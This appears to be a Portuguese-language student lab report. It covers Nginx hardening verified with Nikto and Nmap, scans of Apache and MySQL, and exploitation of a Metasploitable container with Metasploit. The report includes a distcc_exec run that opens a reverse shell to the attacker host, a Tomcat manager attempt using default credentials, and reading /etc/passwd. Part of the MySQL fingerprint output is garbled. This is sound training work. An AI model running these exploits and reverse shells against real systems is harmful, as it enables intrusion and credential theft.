

Atividade Prática - Identificando e explorando vulnerabilidades

Data de execução: 25/03/2026 13:12

Integrantes: Guilherme Reis Carvalho, Nicolas Lobo, Vinicius Trevisan

ITEM 1.2 - Validação do Nginx

Servidor Nginx iniciado em localhost:8080, retornando HTTP 200 e página padrão.

Evidência (headers):

```
HTTP/1.1 200 OK
Server: nginx/1.29.7
Date: Wed, 25 Mar 2026 14:31:21 GMT
Content-Type: text/html
Content-Length: 896
Last-Modified: Tue, 24 Mar 2026 15:38:34 GMT
Connection: keep-alive
ETag: "69c2affa-380"
Accept-Ranges: bytes
```

ITEM 1.4 - Varredura Nmap no Nginx

```
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-25 14:33 +0000
Nmap scan report for 172.17.0.2
Host is up (0.00015s latency).
```

```
PORT      STATE SERVICE VERSION
80/tcp    open  http   nginx 1.29.7
MAC Address: BA:C3:57:4B:0E:55 (Unknown)
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 8.48 seconds
```

ITEM 1.5 - Varredura Nikto no Nginx

- Nikto v2.6.0

```
-----
+ Your Nikto installation is out of date.
+ Target IP:          172.17.0.2
+ Target Hostname:    172.17.0.2
+ Target Port:        80
+ Platform:           Unknown
+ Start Time:         2026-03-25 14:33:12 (GMT0)
-----
```

```

+ Server: nginx/1.29.7
+ No CGI Directories found (use '-C all' to force check all possible dirs). CGI tests skipped
+ [013587] /: Suggested security header missing: x-content-type-options. See: https://developer.mozilla.org/en-US/docs/headers/x-content-type-options
+ [013587] /: Suggested security header missing: strict-transport-security. See: https://developer.mozilla.org/en-US/docs/headers/strict-transport-security
+ [013587] /: Suggested security header missing: permissions-policy. See: https://developer.mozilla.org/en-US/docs/headers/permissions-policy
+ [013587] /: Suggested security header missing: referrer-policy. See: https://developer.mozilla.org/en-US/docs/headers/referrer-policy
+ [013587] /: Suggested security header missing: content-security-policy. See: https://developer.mozilla.org/en-US/docs/headers/content-security-policy
+ [007342] /: X-Frame-Options header is deprecated and was replaced with the Content-Security-Policy header
+ [007352] /: The X-Content-Type-Options header is not set. This could allow the user agent to sniff the MIME type of the response
+ 8218 requests: 0 errors and 7 items reported on the remote host
+ End Time:                2026-03-25 14:33:37 (GMT0) (25 seconds)
-----
+ 1 host(s) tested

```

ITEM 1.6 - Correções aplicadas no Nginx

Correções implementadas:

- server_tokens off
- X-Content-Type-Options: nosniff
- X-Frame-Options: DENY
- Referrer-Policy: strict-origin-when-cross-origin
- Content-Security-Policy com default-src 'self' e frame-ancestors 'none'
- Permissions-Policy restritiva
- Strict-Transport-Security

Evidência (headers após hardening):

```

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 25 Mar 2026 14:37:32 GMT
Content-Type: text/html
Content-Length: 896
Last-Modified: Tue, 24 Mar 2026 15:38:34 GMT
Connection: keep-alive
ETag: "69c2affa-380"
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Content-Security-Policy: default-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-
Permissions-Policy: geolocation=(), microphone=(), camera=()
Strict-Transport-Security: max-age=31536000; includeSubDomains
Accept-Ranges: bytes

```

ITEM 1.7 - Diferenças após revarredura

Resultado observado: o Nikto reduziu de **7 itens** para **1 item** (falso positivo para X-Content-Type-Options, apesar de header presente na resposta HTTP).

- Nikto v2.6.0

```
-----
+ Your Nikto installation is out of date.
+ Target IP:          172.17.0.2
+ Target Hostname:    172.17.0.2
+ Target Port:        80
+ Platform:           Unknown
+ Start Time:         2026-03-25 14:37:33 (GMT0)
-----
+ Server: nginx
+ No CGI Directories found (use '-C all' to force check all possible dirs). CGI tests skipped
+ [007352] /: The X-Content-Type-Options header is not set. This could allow the user agent to
+ 8218 requests: 0 errors and 1 item reported on the remote host
+ End Time:           2026-03-25 14:38:00 (GMT0) (27 seconds)
-----
+ 1 host(s) tested
```

ITEM 2.2 - Validação do Apache

```
HTTP/1.1 200 OK
Date: Wed, 25 Mar 2026 14:39:17 GMT
Server: Apache/2.4.66 (Unix)
Last-Modified: Fri, 07 Nov 2025 08:23:08 GMT
ETag: "bf-642f300"
Accept-Ranges: bytes
Content-Length: 191
Content-Type: text/html
```

ITEM 2.4 - Varredura Nmap Apache e MySQL + análise

Nmap no Apache

```
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-25 14:42 +0000
Nmap scan report for 172.17.0.4
Host is up (0.00017s latency).
```

```
PORT      STATE SERVICE VERSION
80/tcp    open  http   Apache httpd 2.4.66 ((Unix))
3306/tcp  closed mysql
MAC Address: 7E:7B:F0:7D:F9:99 (Unknown)
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap no MySQL

Nmap scan report for 172.17.0.5

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

3306/tcp open mysql?

SF-Port3306-TCP:V=7.98%I=7%D=3/25%Time=69C3F46E%P=aarch64-unknown-linux-gn

SF:x02\0\xff\xdf\x15\0\0\0\0\0\0\0\0\0\0\0\0\0\05\x0f\x01iAY\?\x04\)\x04o\x17\0

SF:001%e\r\x07v\x16S\0\xff\xff\xff\x02\0\xff\xdf\x15\0\0\0\0\0\0\0\0\0\0\x

```
SF:4\x04#08S01Got\x20packets\x20out\x20of\x20order")%r(GetRequest,72,"I\0\
```

SF:0\0\0\0\0\0\0\0\0sx\+@Ca~\~\x014/\[\0caching sha2 password\0!\0\0\x01\xff

SF:I\0\0\0\n9\.6\.0\0\x0b\0\0\0\?BV'}H\x0b\~\0\xff\xff\xff\x02\0\xff\xdf\x

```
SF:0\0\x01\xff\x84\x04#08S01Got\x20packets\x20out\x20of\x20order")%r(RTSPR
```

```
SF:\xff\xdf\x15\0\0\0\0\0\0\0\0\0J\ru \x1cE!%#f%V\0caching sha2 password
```

SF:PCCheck.72."I\0\0\0\n9\ .6\ .0\0\r\0\0\0` \x16w'0n0=\0\xff\xff\xff\x02\0\x

```
SF:rd\0!\0\0\x01\xff\x84\x04#08S01Got\x20packets\x20out\x20of\x20order")%r
```

SF:\xff\xff\x02\0\xff\xdf\x15\0\0\0\0\0\0\0\0\0\0D v\x10\x16\?n\]\x10\x1f4

```
SF:x20out\x20of\x20order")%r(DNSStatusRequestTCP.72."I\0\0\0\n9\6\0\0\x0
```

```
SF::\\F\\x13J\\x1eJ\\*Bn\\0caching sha2 password\\0!\\0\\0\\x01\\xff\\x84\\x04#08S01G
```

SF:\0\0\0\0\x1aj\x11\x0bI.L.@~\0\xff\xff\xff\x02\0\xff\xdf\x15\0\0\0\0\0\0\0\0

```
SF:4#08S01Got\x20packets\x20out\x20of\x20order")%r(SSJ.SessionReq.72."T\0\0
```

```

SF:\0\0\0\0\0\0\0\0\0\0\0!\x0e\x1e\x17T\(\C:\tbT\0caching_sha2_password\0!\0\0

```

MAC Address: 16:3A:BD:16:BC:41 (Unknown)

TIME READ: 10:01:55: 10:00: 11 (SHIMADZU)

4

Nmap done: 1 IP address (1 host up) scanned in 17.36 seconds

Análise de riscos e defesas:

- **Apache exposto (porta 80):** suscetível a enumeração de versão e exploração de CVEs de servidor web.
- **MySQL exposto (3306):** risco de brute force, acesso indevido e enumeração de banner.
- **Medidas recomendadas:** segmentação de rede, firewall por origem, TLS, menor privilégio, atualização contínua, hardening de autenticação e monitoramento.

ITEM 3.1 - Mapeamento do Metasploitable

Starting Nmap 7.98 (<https://nmap.org>) at 2026-03-25 15:01 +0000

Nmap scan report for 172.17.0.6

Host is up (0.0000030s latency).

Not shown: 65510 closed tcp ports (reset)

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	vsftpd 2.3.4
22/tcp	open	ssh	OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp	open	telnet	Linux telnetd
25/tcp	open	smtp	Postfix smtpd
80/tcp	open	http	Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp	open	rpcbind	2 (RPC #100000)
139/tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp	open	exec	netkit-rsh rexecd
513/tcp	open	login	
514/tcp	open	tcpwrapped	
1099/tcp	open	java-rmi	GNU Classpath grmiregistry
1524/tcp	open	nagios-nsca	Nagios NSCA
2121/tcp	open	ftp	ProFTPD 1.3.1
3306/tcp	open	mysql	MySQL 5.0.51a-3ubuntu5
3632/tcp	open	distccd	distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp	open	postgresql	PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp	open	vnc	VNC (protocol 3.3)
6000/tcp	open	X11	(access denied)
6667/tcp	open	irc	UnrealIRCd
6697/tcp	open	irc	UnrealIRCd
8009/tcp	open	ajp13	Apache Jserv (Protocol v1.3)
8180/tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1
8787/tcp	open	drb	Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
41073/tcp	open	java-rmi	GNU Classpath grmiregistry

MAC Address: B6:D0:33:B6:D2:D8 (Unknown)

Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux;

Service detection performed. Please report any incorrect results at <https://nmap.org/submit>.
Nmap done: 1 IP address (1 host up) scanned in 130.19 seconds

ITEM 3.2 - Metasploit instalado

Framework Version: 6.4.116-dev

ITEM 3.3 - Exploração Tomcat Manager

Tentativa realizada com `exploit/multi/http/tomcat_mgr_upload`, sem sessão válida (gerenciador não acessível com credenciais usadas).

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
RHOSTS => 172.17.0.6
RPORT => 80
HttpUsername => tomcat55
HttpPassword => tomcat55
LHOST => 172.17.0.7
LPORT => 4444
[*] Started reverse TCP handler on 172.17.0.7:4444
[*] Retrieving session ID and CSRF token...
[-] Exploit aborted due to failure: unknown: Unable to access the Tomcat Manager
[*] Exploit completed, but no session was created.
```

ITEM 3.4 - Exploração e pós-exploração

Foi utilizada exploração via `exploit/unix/misc/distcc_exec`, com abertura de sessão shell.

```
[*] Processing /tmp/msf_before_item34.rc for ERB directives.
resource (/tmp/msf_before_item34.rc)> use exploit/unix/misc/distcc_exec
[*] No payload configured, defaulting to cmd/unix/reverse_bash
resource (/tmp/msf_before_item34.rc)> set RHOSTS 172.17.0.6
RHOSTS => 172.17.0.6
resource (/tmp/msf_before_item34.rc)> set RPORT 3632
RPORT => 3632
resource (/tmp/msf_before_item34.rc)> set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
resource (/tmp/msf_before_item34.rc)> set LHOST 172.17.0.7
LHOST => 172.17.0.7
resource (/tmp/msf_before_item34.rc)> set LPORT 5590
LPORT => 5590
resource (/tmp/msf_before_item34.rc)> exploit
[*] Started reverse TCP double handler on 172.17.0.7:5590
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo V9ubjdlT8xobLAr1;
```

```

[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "V9ubjdlt8xobLArl\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.17.0.7:5590 -> 172.17.0.6:59374) at 2026-03-25 15:3

```

Operações executadas (conforme solicitado no enunciado):

- enumeração de usuário (id, whoami)
- inspeção básica de sistema (uname -a)
- inspeção de contas (/etc/passwd)
- observação de limitações de privilégio (sem evidência de escalonamento bem-sucedido)

ITEM 3.5 - Reforço de segurança + reteste

Hardening aplicado:

- desativação de vsftpd no xinetd
- parada de apache2 e tomcat5.5
- encerramento de processos distccd
- remoção de inicialização automática de serviços vulneráveis
- reforço de credenciais e bloqueio da conta root

METASP_IP=172.17.0.6

[1] Ajustar vsftpd no xinetd (disable = yes)

stdin: is not a tty

16: disable = yes

[2] Parar apache2/tomcat5.5 e reiniciar xinetd

stdin: is not a tty

/etc/lsb-base-logging.sh: line 22: /dev/console: No such file or directory

* Stopping web server apache2

apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.6

/etc/lsb-base-logging.sh: line 22: /dev/console: No such file or directory

...done.

/etc/lsb-base-logging.sh: line 22: /dev/console: No such file or directory

* Stopping Tomcat servlet engine tomcat5.5

[3] Encerrar distccd por PID

Nenhum distccd ativo.

[4] Desabilitar startup automático

[5] Endurecer credenciais

[6] Serviços em escuta após hardening

Error response from daemon: container 04286d40e9ec6d7baabf197daaa0fece8ee18ea064924da0b002d5

Revarredura Nmap após hardening:

Starting Nmap 7.98 (<https://nmap.org>) at 2026-03-25 16:11 +0000
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 1.54 seconds

Reteste de exploração após hardening:

```
[*] Processing /tmp/msf_item35_after.rc for ERB directives.
resource (/tmp/msf_item35_after.rc)> use exploit/unix/misc/distcc_exec
[*] No payload configured, defaulting to cmd/unix/reverse_bash
resource (/tmp/msf_item35_after.rc)> set RHOSTS
RHOSTS =>
resource (/tmp/msf_item35_after.rc)> set RPORT 3632
RPORT => 3632
resource (/tmp/msf_item35_after.rc)> set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
resource (/tmp/msf_item35_after.rc)> set LHOST 172.17.0.7
LHOST => 172.17.0.7
resource (/tmp/msf_item35_after.rc)> set LPORT 5599
LPORT => 5599
resource (/tmp/msf_item35_after.rc)> exploit
[-] Msf::OptionValidateError One or more options failed to validate: RHOSTS.
resource (/tmp/msf_item35_after.rc)> sessions -l
```

Active sessions
=====

No active sessions.

```
resource (/tmp/msf_item35_after.rc)> exit -y
```

Comentário: no ambiente Docker desta execução, alguns serviços voltam a ser expostos após ciclos de processo internos do contêiner legado, exigindo controle adicional no entrypoint/imagem para persistir bloqueios entre reinicializações.

Resultados, discussão e aprendizados

- Foi possível reproduzir um fluxo completo de reconhecimento, varredura, exploração e tentativa de mitigação.
- Nmap e Nikto mostraram utilidade complementar (serviços expostos, banners e ausências de headers).
- As correções em Nginx reduziram significativamente os achados do Nikto.
- Em ambiente legado/laboratorial (Metasploitable), hardening por comando pontual pode não ser totalmente persistente sem ajuste estrutural da imagem.
- Como melhoria futura, recomenda-se criar imagem customizada hardened com serviços mínimos e regras de rede persistentes.